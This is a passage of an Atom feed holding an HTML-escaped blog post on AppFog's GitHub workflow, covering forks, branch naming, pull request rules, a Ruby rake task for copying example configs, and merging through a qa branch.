class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nb&#34;&gt;puts&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;copied &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; =&amp;gt; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;merging&#34;&gt;Merging&lt;/h3&gt;&#xA;&lt;p&gt;Once the pull request is made, it is now the responsibility of the &lt;code&gt;merge master&lt;/code&gt; to accept or reject the changes. Being the merge master is a rotating responsibility which involves looking over the pull requests, reviewing the code, and possibly asking the developer to make additional changes, add more unit test, etc. –– this is our opportunity to discuss the changes in detail and introduce some standards and process for code quality.&lt;/p&gt;&#xA;&lt;p&gt;When a pull-request is merged in, we&#39;ll do that onto a special &lt;code&gt;qa&lt;/code&gt; branch in the main repository. Here we can get all willy-nilly and try out the code, blow away the changes, or what have you. If everything looks good, then we merge from the change set in the &lt;code&gt;qa&lt;/code&gt; branch that’s in a known-good state, finally, into the &lt;code&gt;master&lt;/code&gt; branch on the main project. The &lt;code&gt;qa&lt;/code&gt; branch is also the target that our continuous integration system watches, which, when updated kicks off our continuous delivery pipeline.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;At AppFog we make it a practice to continually review and improve our workflows when we’re working with GitHub (or any tools for that matter). We are always looking for ways to reduce complexity while still getting the same or even better results.&lt;/p&gt;&#xA;&lt;p&gt;One of the things we’re currently considering is moving away from personal forks and instead just working with topic branches right in the main project. This should keep things just as organized but reduce the complexity of the process significantly. One radical member of our team suggests never using branches. So far, we smile and nod. He may convince us someday.&lt;/p&gt;&#xA;&lt;p&gt;We&#39;re also rethinking the merge master role, opting instead to distribute the responsibility for merging code across the team but with the axiom “never merge your own code”, ensuring that code review is baked into the process.&lt;/p&gt;&#xA;&lt;p&gt;We’ll keep you posted!&lt;/p&gt;&#xA;&lt;h3 id=&#34;additional-resources&#34;&gt;Additional Resources&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://zachholman.com/talk/how-github-uses-github-to-build-github&#34;&gt;How Github Uses Github to Build Github&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://help.github.com/send-pull-requests/&#34;&gt;Github’s Documentation on Pull Requests&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://git-scm.com/book&#34;&gt;The Git Book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Joining &lt;a href=&#34;http://appfog.com/&#34;&gt;AppFog&lt;/a&gt; back in February became my first time working for a company using &lt;a href=&#34;http://github.com/&#34;&gt;Github&lt;/a&gt; &lt;a href=&#34;http://github.com/plans&#34;&gt;private repositories&lt;/a&gt; for source control. My previous gig used &lt;a href=&#34;http://bitbucket.org/&#34;&gt;Bitbucket&lt;/a&gt; and &lt;a href=&#34;http://mercurial.selenic.com/&#34;&gt;Mercurial&lt;/a&gt;, which we migrated to from self-hosted &lt;a href=&#34;http://subversion.tigris.org/&#34;&gt;SVN&lt;/a&gt;, which we migrated to from &lt;a href=&#34;http://www.sourcegear.com/vault/&#34;&gt;SourceGear Vault&lt;/a&gt;, which we migrated to from &lt;a href=&#34;http://msdn.microsoft.com/en-us/library/3h0544kx(v=vs.80).aspx&#34;&gt;Visual Source Safe&lt;/a&gt;... etc. That&#39;s how things go at a 12-year-old company, I guess.&lt;/p&gt;&#xA;&lt;p&gt;As a startup, AppFog can start off on the right foot and just use Github from the get-go. Yippee!&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have used git and Github for a while in open source projects and know the typical workflow of forking and submitting pull requests. AppFog&#39;s workflow is very similar. Here&#39;s how we approach it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;setting-up-your-personal-fork&#34;&gt;Setting Up Your Personal Fork&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://github.com/appfog&#34;&gt;AppFog organization&lt;/a&gt; has a number of projects in it. Everyone in the organization has commit access and can create/destroy/modify any of the repositories. We could just clone the repository down, edit the code, commit and push to master...but there&#39;s a better way.&lt;/p&gt;&#xA;&lt;p&gt;Our approach is for each developer to create a fork of the project they want to work on.&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose we have a repository in the AppFog org called &lt;code&gt;yummy-sandwich&lt;/code&gt;. I&#39;d head on over to the project page at &lt;a href=&#34;https://github.com/appfog/yummy-sandwich&#34;&gt;https://github.com/appfog/yummy-sandwich&lt;/a&gt; and click the &lt;code&gt;Fork&lt;/code&gt; button near the top of the page.&lt;/p&gt;&#xA;&lt;p&gt;Once the &amp;quot;hardcore forking action&amp;quot; is over, I now have my own personal fork at &lt;a href=&#34;https://github.com/thoward/yummy-sandwich&#34;&gt;https://github.com/thoward/yummy-sandwich&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I can clone that to my dev machine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git clone git@github.com:thoward/yummy-sandwich&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;One thing you&#39;d notice there is that &lt;code&gt;git clone&lt;/code&gt; adds the &lt;code&gt;origin&lt;/code&gt; automatically. That&#39;s great and all, but doesn&#39;t do much for me. I need an easy way to pull upstream changes into my personal fork from the main repository. To do that, I&#39;ll hop into that directory and add the upstream remote:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git remote add upstream git@github.com:appfog/yummy-sandwich&#xA;git fetch upstream&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That&#39;s the basic setup.&lt;/p&gt;&#xA;&lt;h3 id=&#34;modifying-the-code&#34;&gt;Modifying The Code&lt;/h3&gt;&#xA;&lt;p&gt;Now that I&#39;ve got my personal fork configured, I can do whatever I&#39;d like to it without disturbing our pristine shared repository... but to keep things organized and clear, I&#39;m not just going to start tweaking bits and committing to master. Instead, I&#39;ll work entirely on topic branches, regardless of how small or large a change is.&lt;/p&gt;&#xA;&lt;p&gt;The following steps detail how to create a branch, update the code, push changes to the remote, and bring these changes to the attention of the person responsible for merging pull requests.&lt;/p&gt;&#xA;&lt;p&gt;First, I&#39;ll bring the &lt;code&gt;master&lt;/code&gt; up to date using that &lt;code&gt;upstream&lt;/code&gt; remote I created.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# switch to master&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;git checkout master&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# pull in latest code&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;git pull upstream master&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will pull all recently-merged changes from the main &lt;code&gt;appfog/yummy-sandwich&lt;/code&gt; repository into my personal fork. Next, I&#39;ll create the branch that I&#39;m going to work on. The naming of the branches takes a special structured form.&lt;/p&gt;&#xA;&lt;h3 id=&#34;branch-names&#34;&gt;Branch Names&lt;/h3&gt;&#xA;&lt;p&gt;We break down the work we do into four distinct types of tasks: bugs, features, chores and hotfixes.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;bug&lt;/code&gt; is a normal bug fix of existing functionality.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;feature&lt;/code&gt; is new functionality.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;chore&lt;/code&gt; is something that adds business value, but doesn&#39;t qualify as a feature (e.g. refactoring).&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;hotfix&lt;/code&gt; is when we need to fix an immediate problem on a server (if you&#39;re using hotfixes, you&#39;re probably doing something wrong).&lt;/p&gt;&#xA;&lt;p&gt;The branch name itself consists of the branch type, a brief underscore-separated description, and an optional Github Issue number. They are in the format of &lt;code&gt;type/a_brief_description_#&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Suppose I wanted to fix a bug where shared users aren&#39;t able to login to the site. After creating the Github Issue, I would name the branch &lt;code&gt;bug/shared_users_cant_login_123&lt;/code&gt; where 123 is the issue number.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-the-topic-branch&#34;&gt;Creating the Topic Branch&lt;/h3&gt;&#xA;&lt;p&gt;To create the branch, run &lt;code&gt;git checkout -b &amp;lt;branch name&amp;gt;&lt;/code&gt;, where &lt;code&gt;&amp;lt;branch name&amp;gt;&lt;/code&gt; is the &lt;code&gt;type/description/id&lt;/code&gt; name we just described. For example, using our hypothetical bug fix task from before, I&#39;d run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git checkout -b bug/shared_users_cant_login_123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once I&#39;ve created the branch using the checkout command, follow the normal process of changing code, add/commit, and wrap it up with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git push origin HEAD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After that, use the GitHub web interface to select the branch from the &lt;code&gt;Current Branch&lt;/code&gt; dropdown and issue a &lt;code&gt;Pull Request&lt;/code&gt; back to the original project. So, start to finish, here are the steps to get some work done...&lt;/p&gt;&#xA;&lt;h4 id=&#34;steps-to-work-on-the-branch&#34;&gt;Steps To Work On The Branch&lt;/h4&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checkout master: &lt;code&gt;git checkout master&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Pull in updates: &lt;code&gt;git fetch upstream&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Merge updates into master: &lt;code&gt;git merge upstream/master&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create the branch: &lt;code&gt;git checkout -b bug/branch_description_123&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make the code changes&lt;/li&gt;&#xA;&lt;li&gt;Stage changes for commit: &lt;code&gt;git add &amp;lt;changed filenames&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Commit changes: &lt;code&gt;git commit -m &amp;quot;This is a descriptive commit message&amp;quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Push changes to my personal fork: &lt;code&gt;git push origin HEAD&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;From GitHub, select the branch from the &lt;code&gt;Current Branch&lt;/code&gt; dropdown and issue a &lt;code&gt;Pull Request&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;pull-request-guidelines&#34;&gt;Pull Request Guidelines&lt;/h3&gt;&#xA;&lt;p&gt;There are some basic guidelines around creating pull-requests.&lt;/p&gt;&#xA;&lt;h4 id=&#34;just-say-no-to-auto-merge&#34;&gt;Just Say No To Auto-Merge&lt;/h4&gt;&#xA;&lt;p&gt;Don&#39;t auto-merge the pull request through Github&#39;s interface. Ever.&lt;/p&gt;&#xA;&lt;h4 id=&#34;explain-the-pull-request&#34;&gt;Explain the Pull Request&lt;/h4&gt;&#xA;&lt;p&gt;Why is this pull request here? The branch name should be a &lt;strong&gt;brief&lt;/strong&gt; description, but the pull-request itself should have a slightly more detailed description. Leave a nice, clear description about what the branch is for and why. Reference any issues if necessary. Github makes this super easy. You can just type something like #420 and it will auto-link the issue in.&lt;/p&gt;&#xA;&lt;h4 id=&#34;dont-commit-gemfilelock&#34;&gt;Don&#39;t Commit Gemfile.lock&lt;/h4&gt;&#xA;&lt;p&gt;This one is Ruby-specific. If you didn&#39;t make changes to &lt;code&gt;Gemfile&lt;/code&gt;, don&#39;t commit &lt;code&gt;Gemfile.lock&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;config-files&#34;&gt;Config Files&lt;/h4&gt;&#xA;&lt;p&gt;This one is Rails specific, and is a bit of hyperbole, but relates to our process of using git. If the branch requires the creation of a new config file, say so in the description in big, bold text.&lt;/p&gt;&#xA;&lt;p&gt;Also do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the config file to &lt;code&gt;.gitignore&lt;/code&gt;. We do not store our configs in source control.&lt;/li&gt;&#xA;&lt;li&gt;Provide an example of your config file suitable for development purposes at &lt;code&gt;config/myconfig.example.yml&lt;/code&gt; where &lt;code&gt;myconfig&lt;/code&gt; is your &lt;code&gt;config&lt;/code&gt; and &lt;code&gt;yml&lt;/code&gt; can be any format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We have a rake task &lt;code&gt;configs:copy&lt;/code&gt; that can find those example config files and copy them to the normal names. This is handy when developing locally. On the production servers, the config files are managed separately from source code and are linked into the config directory from another location.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the &lt;code&gt;configs:copy&lt;/code&gt; rake task:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;ss&#34;&gt;:configs&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;desc&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Copy config/*.example.yml files for development.&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;task&lt;/span&gt; &lt;span class=&#34;ss&#34;&gt;:copy&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;require&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;fileutils&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;examples&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;Dir&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;config/*.example.*&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;examples&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;each&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;realbase&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;basename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;.example&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;config&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;realbase&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;unless&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exists?&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;no&#34;&gt;FileUtils&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nb&#34;&gt;puts&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;copied &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; =&amp;gt; &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;merging&#34;&gt;Merging&lt;/h3&gt;&#xA;&lt;p&gt;Once the pull request is made, it is now the responsibility of the &lt;code&gt;merge master&lt;/code&gt; to accept or reject the changes. Being the merge master is a rotating responsibility which involves looking over the pull requests, reviewing the code, and possibly asking the developer to make additional changes, add more unit test, etc. –– this is our opportunity to discuss the changes in detail and introduce some standards and process for code quality.&lt;/p&gt;&#xA;&lt;p&gt;When a pull-request is merged in, we&#39;ll do that onto a special &lt;code&gt;qa&lt;/code&gt; branch in the main repository. Here we can get all willy-nilly and try out the code, blow away the changes, or what have you. If everything looks good, then we merge from the change set in the &lt;code&gt;qa&lt;/code&gt; branch that’s in a known-good state, finally, into the &lt;code&gt;master&lt;/code&gt; branch on the main project. The &lt;code&gt;qa&lt;/code&gt; branch is also the target that our continuous integration system watches, which, when updated kicks off our continuous delivery pipeline.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;At AppFog we make it a practice to continually review and improve our workflows when we’re working with GitHub (or any tools for that matter). We are always looking for ways to reduce complexity while still getting the same or even better results.&lt;/p&gt;&#xA;&lt;p&gt;One of the things we’re currently considering is moving away from personal forks and instead just working with topic branches right in the main project. This should keep things just as organized but reduce the complexity of the process significantly. One radical member of our team suggests never using branches. So far, we smile and nod. He may convince us someday.&lt;/p&gt;&#xA;&lt;p&gt;We&#39;re also rethinking the merge master role, opting instead to distribute the responsibility for merging code across the team but with the axiom “never merge your own code”, ensuring that code review is baked into the process.&lt;/p&gt;&#xA;&lt;p&gt;We’ll keep you posted!&lt;/p&gt;&#xA;&lt;h3 id=&#34;additional-resources&#34;&gt;Additional Resources&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://zachholman.com/talk/how-github-uses-github-to-build-github&#34;&gt;How Github Uses Github to Build Github&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://help.github.com/send-pull-requests/&#34;&gt;Github’s Documentation on Pull Requests&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://git-scm.com/book&#34;&gt;The Git Book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Embarrassingly Cloudable</title>
		<id>https://blog.thoward37.me/articles/embarrassingly-cloudable</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/embarrassingly-cloudable" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/embarrassingly-cloudable" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/embarrassingly-cloudable" type="text/html"></link>
		<published>2012-03-20T14:12:11+00:00</published>
		<updated>2012-03-20T14:12:11+00:00</updated>
		<author>
